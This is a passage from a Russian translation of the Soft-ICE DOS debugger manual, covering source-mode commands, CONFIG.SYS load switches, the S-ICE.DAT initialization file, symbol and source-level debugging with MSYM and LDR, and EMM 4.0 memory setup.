сама программа. Базовый адрес программы - значение перемещения.
Пример:
SYMLOC 1244 + 10
Это переместит все сегменты в таблице идентификаторов
относительно 1244. + 10 используется, чтобы переместить TSR
бывший первоначально .EXE-файлом. Если это - .COM-файл
+ 10 не обязательно.
SRC
SRC -- Переключает между исходным текстом, смешанным режимом и кодом
Синтаксис:
SRC [?]
Комментарии:
Команда SRC переключает между режимом исходного текста, смешанным режимом и
режимом кода в окне кода.
Если введено SRC ?, отображается текущее состояние.
Пример:
SRC
Эта команда изменяет текущий режим окна кода.
Если режим был режимом исходного текста, он становится смешанным.
Если режим был смешанным, он становится режимом кода. Если режим
был режимом кода, он становится режимом исходного текста.
Функциональная клавиша по умолчанию: F3
FILE
FILE -- Изменить/вывести текущий исходный текст
Синтаксис:
FILE [имя файла]
Комментарии:
Если имя файла указано, этот файл становится текущим файлом и
начало файла выводится в окне кода. Если имя не указано, выводится
имя текущего файла (если он есть) с исходным текстом.
Команда FILE часто полезна при установке точки останова в строке, которая
не ассоциирована ни с одним публичным символом. Используйте FILE, для вызова
желаемого файла в окно кода, используйте команду SS для поиска определенной
строки, переместите в нее курсор и введите BPX для установки точки останова.
Обратите внимание:
Для команды FILE доступны только файлы с исходным текстом, загруженные в
дополнительную память (XMS) программой LDR.EXE.
Пример:
FILE MAIN.C
Если MAIN.C был загружен LDR.EXE, эта
команда выводит его в окно кода, начиная со
строки 1.
SS
SS -- Найти строку в текущем файле с исходным текстом
Синтаксис:
SS [номер-строки] ['строка']
номер-строки -- десятичное число
строка -- символьная строка, заключенная в кавычки.
Кавычки могут быть как одиночными так
и двойными.
Комментарии:
Команда SS ищет в текущем файле с исходным текстом указанную
символьную подстроку. Если имеется соответствие, строка, в которой была
найдена подстрока будет выведена как верхняя строка в окне кода.
Поиск начинается с указанного номера строки. Если номер строки не
указан, поиск начинается с верхней строки, отображаемой в окне кода.
Если параметры не указаны, продолжается поиск предыдущей
указанной строки.
Обратите внимание:
Окно кода должно быть видимо и быть в режиме исходного текста до использования
команды SS.
Пример:
SS 1 'if (i = = 3)'
В текущем файле с исходным текстом ищется, начиная со строки 1,
подстрока 'if (i = = 3)'. Строка, содержащая следующее
совпадение с подстрокой, становится верхней отображаемой строкой
в окне кода.
РАЗДЕЛ III -- Поддерживаемые Возможности
ГЛАВА 6
6.1 Введение
Программный файл Soft-ICE (S-ICE.EXE) может быть загружен как загружаемый
драйвер устройства в CONFIG.SYS или как программа из командной строки DOS. Для
получения всей силы Soft-ICE, он должен быть загружен как драйвер устройства в
CONFIG.SYS. Однако, могут иметься обстоятельства, когда вы можете захотеть
запустить Soft-ICE из командной строки DOS или пакетного файла, типа:
* У вас нет расширенной памяти в вашей системе.
Soft-ICE можно загрузить как загружаемый драйвер устройства,
только если у вас есть расширенная память.
* Вы хотите занять НОЛЬ байт обычной
памяти. При загрузке как драйвер устройства,
Soft-ICE занимает приблизительно 2КБ
обычной памяти.
* Вам только иногда необходимо использовать Soft-ICE и
нет никаких других программ, использующих расширенную
память.
В некоторых случаях вам могут быть нужны некоторые возможности, требующие
загрузки Soft-ICE из CONFIG.SYS, но не нужно, чтобы Soft-ICE был постоянно
резидентным. В этом случае Soft- ICE может быть загружен из CONFIG.SYS, чтобы
зарезервировать расширенную память, и потом отключен переключателем /UN, пока
не потребуется Soft-ICE. См. часть 6.3.1 для большей информации относительно
переключателя /UN.
6.2 Загрузка из командной строки DOS
Вы НЕ можете активизировать все возможности Soft-ICE при загрузке из командной
строки DOS. Если вы будете использовать Soft-ICE как автономный отладчик,
рекомендуется загружать Soft-ICE из файла CONFIG.SYS.
Чтобы загрузить Soft-ICE из командной строки DOS, введите
S-ICE
В системах без расширенной памяти, Soft-ICE загружается в
самые высокие возможные адреса памяти. Тогда память, используемая Soft-ICE
"отрезается", становясь невидимой для программ DOS. Так как общая память,
видимая для DOS и ее программ, уменьшается после загрузки Soft-ICE,
рекомендуется загружать Soft-ICE до загрузки любых TSR-программ.
В системах с расширенной памятью вы можете загружать Soft-ICE из командной
строки DOS, только если вы не используете расширенную память для чего-либо еще
(напр. VDISK, CACHE, HIMEM...). Когда вы загружаете Soft-ICE из командной
строки или из пакетного файла, Soft-ICE предупредит вас, выдав специальное
сообщение. Это предупреждение только напоминает вам, что Soft-ICE перезапишет
старшую область расширенной памяти, когда загрузится. Вы можете
подавить это предупреждающее сообщение при помощи опции EXTENDED в файле
конфигурации Soft-ICE. Для большей информации относительно опции EXTENDED,
см. часть 6.4.1.
6.3 Загрузка Soft-ICE как Загружаемого Драйвера Устройства
Чтобы использовать все возможности Soft-ICE, вы должны загрузить Soft-ICE как
загружаемый драйвер устройства в вашем файле CONFIG.SYS. При этом становятся
доступными следующие возможности:
* Сосуществование с другим программным обеспечением, использующим
расширенную память.
Загрузка как драйвера устройства позволяет Soft-ICE
управлять расширенной памятью, так что вы можете запускать Soft-ICE
с программами, использующими расширенную память, такими как
VDISK, CACHE и HIMEM.
* Отладка на уровне символов и исходного текста.
Загрузка как драйвера устройства позволяет Soft-ICE
разместить в расширенный памяти буфер для информации
о символах и исходном тексте.
* Диапазоны обратной трассировки и команда SNAP.
Загрузка как драйвера устройства позволяет Soft-ICE
разместить в расширенный памяти буфер для информации
обратной трассировки. Этот буфер также используется для
команды Soft-ICE, SNAP.
* Активизация возможностей Soft-ICE по EMM 4.0
* Запуск Soft-ICE с MagicCV или MagicCVW
Заметьте:
Загруженный, как драйвер устройства в CONFIG.SYS, Soft-ICE резервирует старшую
область расширенной памяти для себя и связанных с ним компонент, следовательно
не может возникнуть конфликтов памяти. S-ICE.EXE должен быть загружен в
CONFIG.SYS до любого другого драйвера, резервирующего расширенную память при
загрузке (напр. VDISK.SYS, RAMDRIVE.SYS). Вообще Soft-ICE работает наилучшим
образом, если он - первый загружаемый драйвер устройства в CONFIG.SYS.
6.3.1 Переключатели Загрузки Soft-ICE
После S-ICE.EXE в CONFIG.SYS может быть указан один или более переключателей
загрузки. Эти переключатели позволяют вам указывать, как Soft-ICE будет
резервировать расширенную память. Все переключатели должны начинаться
символом / . Есть следующие переключатели загрузки:
* /EXT XXXX -- Сообщает S-ICE.EXE зарезервировать
XXXX килобайт расширенной памяти для других
программ DOS, использующих расширенную память (напр.
VDISK, CACHE, HIMEM,...). Если переключатель
/EXT не указан, то расширенная память, не используемая Soft-ICE и связанными
с ним компонентами будет оставлена, как стандартная расширенная память, но ее
количество нельзя гарантировать. Переключатель /EXT полезен, потому что
иногда трудно точно определить, сколько памяти используется Soft-ICE и
связанными с ним компонентами. Использование переключателя /EXT будет
гарантировать, что указанное количество будет доступно для других программ,
использующих расширенную память.
* /SYM XXXX -- Сообщает S-ICE.EXE зарезервировать
XXXX килобайт расширенной памяти для символов
и исходного текста. Если XXXX не указано, то
вся остающаяся расширенная память используется для
символов. Должно быть зарезервировано достаточно памяти для
вашего файла .SYM и всех исходных текстов. Для большей
информации об использовании символов и исходного текста, см.
главу 7.
* /TRA XXXX -- Сообщает S-ICE.EXE зарезервировать
XXXX килобайт расширенной памяти для буфера истории
обратной трассировки. Этот буфер используется для диапазонов
обратной трассировки и для команды SNAP. Если
XXXX не указано, то для буфера автоматически
резервируется 10КБ расширенной памяти. Если
вы вообще не хотите резервировать память для буфера
обратной трассировки, используйте /TRA 0. Для большей информации
об использовании диапазонов обратной трассировки, см. главу 9.
* /MCV XXX -- Сообщает S-ICE.EXE зарезервировать
XXX килобайт расширенной памяти для MagicCV
или MagicCVW. Минимальный объем расширенной
памяти, который вы можете указать - 280КБ и максимум -
620КБ. Если XXX не указано, S-ICE.EXE
зарезервирует остающуюся память, между 280КБ и
620КБ. См. главу 10 для большей информации относительно
работы Soft-ICE с MagicCV или MagicCVW.
* /EMM XXXX -- Сообщает S-ICE.EXE преобразовать
XXXX килобайт расширенной памяти в отображаемую
память, соответствующую EMM 4.0. Если указано
XXXX, то вся остающаяся память используется как
отображаемая. См. главу 8 для большей информации
Относительно поддержки отображаемой памяти.
* /UN -- Сообщает S-ICE.EXE перейти в защищенный
режим, зарезервировать необходимую расширенную память, затем
выйти из защищенного режима и выгрузиться. Этот переключатель
должен использоваться, когда вы загружаете S-ICE.EXE
как загружаемый драйвер устройства, но не хотите,
чтобы ваша система оставалась в защищенном режиме. Этот
переключатель зарезервирует память для Soft-ICE, и вы
должны выполнить S-ICE.EXE из командной строки DOS,
когда вы будете готовы использовать Soft-ICE.
Soft-ICE резервирует расширенную память в следующем порядке, независимо от
порядка указанных переключателей:
Резервируется приблизительно 120КБ для S-ICE.EXE.
Резервируется память для переключателя /EXT, если он указан.
Резервируется память для переключателя /SYM, если он указан.
Резервируется память для переключателя /TRA, если он указан.
Если он не указан, по умолчанию резервируется 10КБ для
буфера обратной трассировки.
Резервируется память для переключателя /MCV, если он указан.
Резервируется память для переключателя /EMM, если он указан.
Если при попытке зарезервировать память для переключателя в вышеупомянутой
последовательности, доступной памяти не хватает, S-ICE.EXE делает следующее:
1. Остающаяся расширенная память резервируется для
переключателя, обрабатываемого, когда не хватило памяти.
2. Память не будет резервироваться для оставшихся
переключателей.
Заметьте:
Если присутствует переключатель /MCV или /EMM, резервируются дополнительные
64КБ расширенной памяти для буфера поддержки DMA.
Переключатели могут быть указаны в любом порядке после DEVICE = S-ICE.EXE.
Пример:
DEVICE = S-ICE.EXE /TRA50 /EMM 500 /SYM 2048
Если доступны четыре мегабайта расширенной памяти, этот пример зарезервирует
приблизительно 120КБ для Soft-ICE, 2 мегабайта для символов, 50КБ для буфера
истории обратной трассировки, 500КБ для отображаемой памяти и оставит
приблизительно 1,3 мегабайта для других программ расширенной памяти. Заметьте,
что Soft-ICE загрузится в самую высокую область расширенной памяти, оставив
оставшуюся память, начиная с 100000H (мегабайтовая отметка).
6.4 Файл Инициализации Soft-ICE, S-ICE.DAT
У Soft-ICE есть несколько опций загрузки. Эти опции указываются размещением
специальных команд в файле инициализации, называющемся S-ICE.DAT.
S-ICE.DAT - текстовый ASCII-файл, который Soft-ICE читает при загрузке. Этот
файл может содержать назначения функциональных клавиш, строку автостарта и
различные опции конфигурации. Файл может быть создан и отредактирован любым
текстовым редактором DOS. При загрузке Soft-ICE из командной строки, S-ICE.DAT
должен находиться в текущем каталоге или в каталоге, доступном через вашу
текущую переменную PATH. Когда Soft-ICE загружается как драйвер устройства в
CONFIG.SYS, S-ICE.DAT должен быть в том же самом каталоге, где находится
S-ICE.EXE.
Есть три категории команд, которые могут быть включены в файл
инициализации S-ICE.DAT:
* Специальные опции конфигурации
* Назначения функциональных клавиш
* Последовательность команд инициализации
6.4.1 Специальные Опции Конфигурации
Любая из следующих опций конфигурации, которые необходимы, должна быть
помещена в отдельную строку в файле S-ICE.DAT.
* COMPAQ -- Компьютер Compaq 386 и 386SX
и некоторые Compaq-совместимые компьютеры
(включая компьютеры, содержащие материнские
платы Micronix) имеющий 384КБ из несмежных участков
расширенной памяти. Опция COMPAQ необходима, если вы
хотите, что бы Soft-ICE использовал эту память.
Заметьте, что опция COMPAQ идентична
параметру командной строки /C в Soft-ICE 1.X.
* NOLEDS -- Опция NOLEDS сообщает Soft-ICE
не устанавливать и не очищать LED-ы клавиатуры, во время
вызова окна Soft-ICE. На некоторых клавиатурах существуют
проблемы с таймером, которые будут вызывать у Soft-ICE
потерю синхронизации с клавиатурой. Если
Soft-ICE зависает, когда вы - в окне Soft-ICE,
используйте эту опцию. Заметьте что опция
NOLEDS идентична параметру командной строки /L
в Soft-ICE 1.X.
* NOTVGA -- Опция NOTVGA позволяет
Soft-ICE работать на BIOS-совместимых VGA-картах.
Много карт VGA не совместимы с IBM
VGA на уровне аппаратных средств. Эти карты поддерживают
VGA только на уровне BIOS. Используйте этот переключатель если у
вас один из таких видеоадаптеров. Заметьте, что
опция NOTVGA - то же самое, что и параметр командной
строки /V в Soft-ICE 1.X.
* EXTENDED -- Опция EXTENDED заставляет
Soft-ICE загружаться непосредственно в расширенную память
без предупреждения пользователя при помощи специального
сообщения. Она должна использоваться, если вы загружаете
Soft-ICE из командной строки DOS и не хотите вывода
сообщения и больше ничего не знаете об
использовании расширенной памяти. Заметьте что
опция EXTENDED - тот же самое, что и параметр
командной строки /E в Soft-ICE 1.X.
6.4.2 Назначения Функциональных Клавиш
Во время загрузки любой функциональной клавише может быть назначена одна или
больше команд Soft-ICE. См. описание команды FKEY в части 5.8 (Команды
Настройки Отладчика) для описания назначения функциональных клавиш из
командной строки Soft-ICE.
Синтаксис для назначения названий функциональных клавиш в S-ICE.DAT:
Название-функциональной-клавиши = "строка"
Название-функциональной-клавиши -- F1, F2... F12.
строка -- строка может состоять из любых имеющих силу
в Soft-ICE команд и специальных
символов ^ и ;. ^ помещается в
строку, чтобы сделать команду
невидимой. ; помещается в строку
для обозначения возврата каретки. Строка
должна быть заключена в двойные кавычки.
Вот пример назначения функциональной клавиши в S-ICE.DAT:
F12 = "D 100;"
Это назначит команду Soft-ICE, Dump функциональной клавише 12. При нажатии
F12 Soft-ICE будет выводить дамп памяти со смещения 100H в текущем сегменте
данных. Точка с запятой после 100 представляет клавишу ВВОД.
6.4.3 Последовательность Команд Инициализации
При загрузке Soft-ICE может быть автоматически выполнена группа команд.
Это полезно для настройки Soft-ICE под ваши нужды. Например, вы могли бы
установить параметры окон и изменить стандартную комбинацию горячих клавиш.
Синтаксис для введения последовательности команд инициализации в S-ICE.DAT
следующий:
INIT = "строка-назначения"
строка-назначения -- Строка состоит из любых имеющих силу
в Soft-ICE команд и специальных
символов ^ и ;. ^ помещается в
строку, чтобы сделать команду
невидимой. ; помещается в строку
для обозначения возврата каретки.
Строка
должна быть заключена в двойные кавычки.
Пример последовательности команд инициализации в S-ICE.DAT:
INIT = "WIN; WR; WD 1; WC 12; ALTKEY CTRL X;"
Этот пример переведет окно Soft-ICE в полноэкранный режим, создаст
окно регистров, создаст окно данных высотой в одну строку, создаст окно кода
высотой 12 строк и изменит комбинацию горячих клавиш на CTRL X.
Пример S-ICE.DAT
Пример файла инициализации включен в содержимое дистрибутивной
дискеты. Этот пример назначает функциональные клавиши так, что
они используются в той же манере, как и функциональные клавиши в отладчике
Microsoft CodeView. Этот пример S-ICE.DAT также должен использоваться "как
есть" для обучающей части в главе 3.
ГЛАВА 7
Отладка на Уровне Символов и Исходного Текста
7.1 Введение
7.2 Подготовка к Отладке на Уровне Символов или Исходного Текста
7.2.1 Подготовка к Отладке Только на Уровне Символов
7.2.2 Подготовка к Отладке на Уровне Символов и
Исходного Текста
7.3 Резервирование Памяти для Символов и Исходного Текста
7.4 Загрузка Программ и Файлов с Символами
7.5 Символьная Отладка
7.6 Отладка по Исходному Тексту
7.1 Введение
Soft-ICE может загружать программы, таблицы символов и исходные тексты для
расширенной отладки. Символьная отладка позволяет устанавливать точки останова
и ссылаться на переменные по символьным именам, не указывая числовые адреса.
Отладка по исходному тексту позволяет вам проходить через вашу программу на
уровне исходного текста, а не на уровне машинного кода.
Информация о символах и строках исходного текста извлекается из файла с картой
связей. Карта связей должна быть совместима с Microsoft linker версии 3.60
или выше.
Символы и исходные файлы расположены в расширенной памяти. У вас должно быть
достаточно памяти для символов и исходных файлов. Исходные файлы не читаются
с диска, как во многих отладчиках. Это позволяет Soft-ICE обеспечить полную
системную отладку на уровне исходного текста. Вы можете отлаживать резидентные
обработчики прерываний и другой системный код на уровне исходного текста.
Заметьте:
Вы не можете использовать символьную или отладку по исходному тексту, пока
Soft-ICE не загружен как драйвер устройства в CONFIG.SYS.
7.2 Подготовка к Отладке на Уровне Символов или Исходного Текста
До отладки программы с символами или исходным текстом вы должны создать файл
символов. Это - двоичный файл, содержащий информацию о символах и номерах
строк в формате, который Soft-ICE понимает. Этот файл создается при помощи
утилиты MSYM.EXE. MSYM.EXE читает вашу карту связей, чтобы создать файл
символов с расширением (.SYM).
7.2.1 Подготовка к Отладке Только на Уровне Символов
Для подготовки программы только к символьной отладке, вы должны выполнить
следующие шаги:
1. Скомпилировать или оттранслировать вашу программу.
2. Слинковать вашу программу с надлежащими переключателями, чтобы создать
.MAP-файл, который содержит список публичных символов.
Если вы используете Microsoft linker, необходимо
использовать переключатель /MA. Этот .MAP-файл должен
быть идентичен .MAP-файлу, созданному Microsoft
linker, версии 3.60 или выше.
3. Создать .SYM-файл, запустив MSYM.EXE.
Вот синтаксис для использования MSYM.EXE:
MSYM название-программы [.расширение]
Если расширение не указано, MSYM принимает
расширение .MAP. MSYM читает файл-карту как вход
и выдает файл символов как выход. Символьный файл
имеет название название-программы.SYM.
Заметьте:
До компилирования или трансляции вашей программы вы можете захотеть сделать
публичными некоторые дополнительные символы. При символьной отладке Soft-ICE
поддерживает только публичные символы. Методы объявления переменных или меток
публичными варьируют в зависимости от того, какой язык вы используете.
На языке ассемблера 8086, укажите директиву PUBLIC, сопровождаемую локально
определенными символами, которые вы хотите сделать публичными. Например:
PUBLIC FOO, LOOP1, STATUS
На языке C, все названия процедур и статические переменные, определенные
вне блока, являются публичными.
Для других языков, обратитесь к вашему руководству по языку для подробностей.
7.2.2 Подготовка к Отладке на Уровне Символов и Исходного Текста
Для подготовки программы к символьной и отладке по тексту, вы должны выполнить
следующие шаги:
1. Скомпилировать или оттранслировать все модули, которые вы хотите
отлаживать по исходному тексту с соответствующими
переключателями, чтобы поместить информацию о номерах строк в
объектные файлы. С языками Microsoft вы можете использовать
либо переключатель /Zi либо /Zd. Вы можете не хотеть,
проделывать это со всеми файлами, потому что объединенные
размеры файла символов и всех исходных файлов,
скомпилированных с этими переключателями, должны вписаться
в объем расширенной памяти, который вы зарезервировали при
помощи переключателя загрузки /SYM в CONFIG.SYS.
2. Слинковать вашу программу с надлежащими переключателями,
чтобы создать .MAP-файл, который содержит номера строк
исходного текста и список публичных символов. Если вы
используете Microsoft linker, необходимо использовать
переключатели /LI и /MA. Этот .MAP-файл должен
быть идентичен .MAP-файлу, созданному Microsoft
linker, версии 3.60 или выше.
3. Создать .SYM-файл, запустив MSYM.EXE.
Вот синтаксис для использования MSYM.EXE:
MSYM название-программы [.расширение]
Если расширение не указано, MSYM принимает
расширение .MAP. MSYM читает файл-карту как вход
и выдает файл символов как выход. Символьный файл
имеет название название-программы.SYM.
7.3 Резервирование Памяти для Символов и Исходного Текста
До загрузки программ, символьных и исходных файлов вы должны зарезервировать
расширенную память. Расширенная память резервируется, при загрузке Soft-ICE в
CONFIG.SYS. До резервирования расширенной памяти вы можете захотеть сложить
размеры .SYM-файла и всех исходных файлов, которые вы хотите загрузить. Вы
должны зарезервировать, по крайней мере, столько расширенной памяти. Вы должны
использовать переключатель /SYM при загрузке S-ICE.EXE.
Вот пример строки
в CONFIG.SYS для загрузки Soft-ICE и резервирования места для символов и
исходных файлов:
DEVICE = S-ICE.EXE /SYM 1024
Этот пример загружает Soft-ICE в расширенную память и резервирует 1 мегабайт
памяти для символов и исходных файлов. См. часть 6.3 (Загрузка Soft-ICE
как Загружаемого Драйвера Устройства) для деталей о резервировании памяти.
7.4 Загрузка Программ и Файлов с Символами
Утилита Soft-ICE, LDR.EXE используется для загрузки программ, файлов символов
и исходных файлов. Для символьной отладки прикладных программ и T&SR-программ
вы обычно будете использовать LDR.EXE, чтобы загрузить программу, символы и
исходные файлы за один шаг. Для отладки загружаемых драйверов устройства, ПЗУ
и других системных компонент вы обычно будете использовать LDR.EXE, чтобы
загрузить только файл символов и исходные файлы.
Вот синтаксис для LDR.EXE:
LDR название-программы | название-программы.SYM |
название-программы.расширение
7.4.1 Загрузка Программы, Символов и Исходного Текста
Для загрузки вашей программы, символов и исходных файлов за один шаг, вы
должны использовать LDR.EXE так:
LDR название-программы
Обратите внимание, что название-программы не имеет расширения. Если расширение
не указано, LDR.EXE выполнит следующие действия:
1. Загрузит название-программы.SYM в расширенную память
2. Загрузит исходные файлы в расширенную память. Этот шаг
выполняется только, если в .SYM-файле есть записи об исходных файлах.
3. Загрузит название-программы.EXE в память, в
область, куда бы она загрузилась, если бы была загружена
непосредственно из командной строки DOS.
4. Вызовет Soft-ICE с указателем инструкций на
первой инструкции вашей программы. Если это - C-
программа и для файла, содержащего _MAIN,
загружен исходный текст, тогда исходный текст этого файла
будет видим в окне кода.
7.4.2 Загрузка только Символов и Исходных Файлов
Если вы хотите загрузить только символы и исходные файлы (например, для отлад-
ки загружаемого драйвера устройства), вы должны использовать LDR.EXE так:
LDR название-программы.SYM
Обратите внимание, что расширение .SYM - указано. .SYM-файл и исходные файлы
будут загружены в расширенную память. Когда символы загружены таким образом,
символы вашей программы или драйвера устройства будут приняты для ссылки с
адреса 0:0. Так как это - редкий случай, вы должны будете использовать команду
Soft-ICE, SYMLOC для локализации символов. См.
описание команды SYMLOC в главе 5.10 для полной информации.
Вот пример загрузки файла символов, называющегося DRIVER.SYM:
LDR DRIVER.SYM
7.4.3 Загрузка Программы Без Символов или Исходного Текста
Для загрузки программного файла без загрузки связанного с ним файл символов,
вы должны использовать LDR.EXE так:
LDR название-программы.расширение
Обратите внимание, что расширение файла присутствует. Обычно расширение файла
будет .EXE или .COM. Когда расширение файла определено, LDR.EXE загрузит
программу и вызовет Soft-ICE с указателем инструкций на первой
инструкции программы. Вот пример загрузки программы с символами
и исходным текстом:
LDR TEST.EXE
Примечания:
LDR.EXE автоматически сохраняет копию таблицы векторов прерываний при
загрузке вашей программы. Это эквивалентно выполнению команды VECS S. Если вы
хотите выйти из вашей программы до ее завершения, вы можете выполнить
EXIT R для выхода из программы и восстановления таблицы векторов прерываний.
Использование LDR.EXE для загрузки только название-программы.EXE часто полезно
для рестарта вашей программы, во время сессии отладки по исходному тексту.
Для рестарта выполните команду EXIT R, чтобы прервать текущую сессию. Затем
используйте LDR.EXE, для повторной загрузки вашего .EXE-файла. Символы:
исходный текст не должен загружаться, т.к. он остается в расширенной памяти.
Если LDR.EXE выдает вам сообщение "Out of space loading symbol
information", это означает, что вы не зарезервировали достаточно расширенной
памяти при помощи переключателя загрузки /SYM в CONFIG.SYS.
Если LDR.EXE не находит ваши исходные файлы в той же директории, что и
программа, которую вы загружаете, LDR. EXE попросит указать путь, по которому
он может найти исходные файлы. Если у вас исходные файлы в нескольких
директориях или вы часто загружаете программу, это становится тяжелым.
Вы можете устранить необходимость во вводе, используя переменную окружающей
среды DOS, SRC. LDR.EXE использует эту переменную окружающей среды, чтобы
найти исходные файлы до обращения к пользователю. Вот синтаксис для установки
переменной окружающей среды из командной строки DOS:
SET SRC = директория;директория;...;директория
В каждой из указанных директорий будет произведен поиск до обращения к
пользователю.
Ограничения:
Soft-ICE поддерживает символы только для одной программы одновременно. Если вы
загружаете новый .SYM-файл, существующий - перезаписывается.
Soft-ICE не поддерживает оверлеи или перемещения сегментов Microsoft Windows.
Soft-ICE распознает только публичные символы и номера строк. Он не
поддерживает локальные переменные.
7.5 Символьная Отладка
После того, как вы загрузили вашу программу и .SYM-файл, вы можете начинать
символьную отладку вашей программы. Вообще символ может использоваться в любой
команде вместо адреса.
Символы также используются несколькими командами Soft-ICE, когда выводятся
адреса. Например, команда U выводит символьные имена меток и
процедур, когда с ними сталкивается.
Есть две команды, которые полезны при символьной
отладке:
* SYM -- Используйте команду SYM, чтобы получить список
названий и значений символов или изменить значение
символа.
* SYMLOC -- Используйте команду SYMLOC, чтобы
переместить базу всех ваших символов. Вы
будете должны использовать команду SYMLOC когда:
1. Загружаете символы для загружаемого драйвера устройства
2. Загружаете символы для T&SR, который уже
загружен
3. Ваша программа перемещает себя в местоположение,
отличное от первоначального.
См. часть 5. 10 для полного описания этих команд.
7.6 Отладка по Исходному Тексту
Когда загружены исходные файлы, Soft-ICE позволяет вам просматривать и
проходить ваш исходный код как при обычной отладке. Soft-ICE предоставляет два
разных режима отладки по исходному тексту: смешанный режим и режим исходного
текста. Используйте команду SRC для переключения между режимами.
Смешанный режим выводит строки исходного текста и код ассемблера, полученный
из этих строк исходного текста, совместно. Смешанный режим полезен, когда вы
должны отлаживать на уровне ассемблера, но использовать исходный текст для
ссылки. Смешанный режим обеспечивается и когда окно кода видимо и когда нет.
Режим исходного текста строго выдает на экран строки исходного текста. Отладка
по исходному тексту требует, чтобы окно кода было видимо.
7.6.1 Использование Номеров Строк
Номера строк могут использоваться вместо адресов в нескольких командах. Для
отличия номера строки от фактического адреса, поместите знак . (точка) перед
номером. Например, чтобы установить точку останова на выполнение в строке
исходного текста 450, введите:
BPX .450
7.6.2 Использование Режима Исходного Текста в Окне Кода
Для входа в режим исходного текста, должно быть видимо окно кода. Если оно
невидимо, используйте команду WC, чтобы сделать его видимым. Однажды войдя в
режим исходного кода, вы можете использовать команды Soft-ICE, переключаться
на другой исходный файл, просматривать исходный текст в любом месте файла,
пролистывать файл, искать строки в файле и устанавливать точки останова в
файле. Для полной информации следующих команд см. их описания в главах 4 и 5.
Следующий список - краткий обзор команд, полезных при отладке по
исходному тексту:
* Сделать окно кода видимым (если оно еще не видимо)
командой WC.
* Переключить между режимом исходного текста, смешанным и режимом кода
командой SRC. Для переключения режимов введите:
SRC
* Поместить исходный файл в окно кода (если он еще не
там) командой FILE. Например, для
перехода от текущего файла к файлу MAIN.C введите:
FILE MAIN.C
* Вывести исходный текст с определенной позиции в
исходном файле командой U.
Чтобы изменить
вывод на определенную строку или адрес памяти
используйте команду U. Вы можете указывать фактические
адреса или номера строк как параметры для
команды. Например, чтобы просмотреть исходный текст в
окне кода, начиная со строки исходного текста 450, введите:
U. 450
* Найти текущую инструкцию в окне кода
командой . (точка).
* Искать определенную символьную строку командой
SS. Например, чтобы искать строку
"Hello World", начиная со строки 100 в текущем
исходном файле, введите:
SS 100 "Hello World"
* Переместить курсор в окно кода (если он еще не
там) командой EC.
* Листать исходный текст клавишами вверх, вниз,
PageUp, PageDn.
* Установить точку останова типа point-and-shoot командой
BPX. Просто поместите курсор в строку исходного
текста, на которой вы хотите остановиться, затем введите:
BPX
ГЛАВА 8
8.1 Введение
У Soft-ICE есть менеджер отображаемой памяти, встроенный в его ядро. Менеджер
отображаемой памяти Soft-ICE поддерживает спецификацию Lotus-Intel-Microsoft
4.0. Эта возможность Soft-ICE полезна, если вы используете программы,
поддерживающие спецификацию EMM или если вы должны нарастить вашу
обычную память, чтобы расширить системную память до 640КБ или больше.
Другие контролирующие программы 386, обеспечивающие возможности EMM (типа QEMM
или 386-to-the-MAX) не будут работать с Soft-ICE. Если вы используете эти
программы для возможностей EMM или наращивания, вы можете использовать вместо
них EMM-менеджер Soft-ICE.
Активизация возможностей EMM в Soft-ICE включает следующие шаги:
1. Конфигурирование окружения отображаемой памяти
утилитой EMMSETUP.EXE. Эта утилита
изменяет S-ICE.EXE с учетом желаемой карты
EMM-страниц.
2. Добавление переключателя /EMM в вашу строку S-ICE.EXE в
CONFIG.SYS. Это резервирует часть
расширенной памяти для отображаемой памяти.
Вот пример строки в CONFIG.SYS, резервирующей
память для EMM:
DEVICE = S-ICE.EXE /EMM 2048
Будет зарезервировано 2 мегабайта расширенной памяти на
использование для EMM. См. часть 6.3 (Загрузка Soft-ICE
как Загружаемого Драйвера Устройства) для деталей
установки Soft-ICE в CONFIG.SYS.
3. Перезагрузите вашу систему.
8.2 Конфигурирование Окружения EMM
Перед установкой S-ICE.EXE с переключателем /EMM в файл CONFIG.SYS, вам может
быть придется запустить EMMSETUP.EXE чтобы сконфигурировать окружение EMM 4.0.
Этот процесс конфигурации позволит вам указать, какие участки памяти вы
хотели бы сделать доступными как страницы EMM 4.0. Запуск EMMSETUP.EXE сильно
рекомендуется, если вы используете программы, требующие все преимущества
спецификации EMM 4.0.
8.2.1 Страницы EMM по умолчанию
По умолчанию, S-ICE.EXE с переключателем /EMM - сконфигурирован предоставить
страницы EMM 4.0 в следующих областях:
* Нижние 640КБ (кроме 1-х 64КБ)
* 64КБ, начинающиеся с D000H
Вы можете захотеть реконфигурировать EMM по следующим причинам:
* У вас может быть устройство типа сети, использующее
область памяти с D000H.
* Вы можете захотеть заполнить большее количество "дыр" выше 640КБ
страницами EMM. Это увеличит производительность и
применимость программ типа Microsoft Windows. Чтобы
получить максимальную производительность от Microsoft
Windows, вы должны заполнить все доступные страницы
отображаемой памятью.
8.2.2 Настройка Карты Страниц EMM
Для конфигурирования карты EMM вы должны использовать утилиту EMMSETUP.EXE.
EMMSETUP.EXE позволяет изменять карту страниц, а затем модифицирует S-ICE.EXE
с учетом изменений.
EMMSETUP работает наиболее эффективно при автоматической настройке карты EMM.
EMMSETUP, при работе с видеокартами и ПЗУ, попробует заполнить отображаемыми
страницами столько адресного пространства, сколько возможно. Если результат
недостаточно хорош или не по вашему вкусу, вы можете его изменить. Изменение
может быть необходимо, если у вас есть сеть, специальный видеоадаптер или
адаптер операций с отображаемой памятью.
Для конфигурирования карты EMM введите:
EMMSETUP
EMMSETUP показывает матрицу страниц памяти по 16КБ, доступных в нижней
области в 1 мегабайт. Матрица разделена на 16 колонок, представляющих каждая
64КБ (от 0 до 10000H). 4 строки представляют четыре страницы по 16КБ
в каждой 64-килобайтовой области.
Каждая ячейка матрицы может содержать E, X, R или V. Ячейки, содержащие
E, доступны как страницы EMM; блоки, содержащие X - нет. Ячейки,
содержащие R - области памяти, которые были идентифицированы EMMSETUP
как области ПЗУ. Вы, при необходимости, можете изменить эти области на E, но
это допустимо, только если к ПЗУ нет обращений. Ячейки, содержащие
V идентифицированы как видеопамять. Мы сделали наихудшее предположение о
видеопамяти. Ваша конкретная видеокарта может не использовать столько, сколько
мы "предположили". При необходимости вы можете изменить блоки памяти, которые
содержат ненужные V.
Если вы удовлетворены предположениями EMMSETUP'а, нажмите клавишу F10 и
S-ICE.EXE будет изменен с этими параметрами. Чтобы сделанные в S-ICE.EXE
изменения вступили в силу, вы должны перезагрузиться. Если вы хотите изменить
предположения EMMSETUP'а, сделайте это в то же самое время.
8.2.2.1 Включение и Исключение Областей из EMM
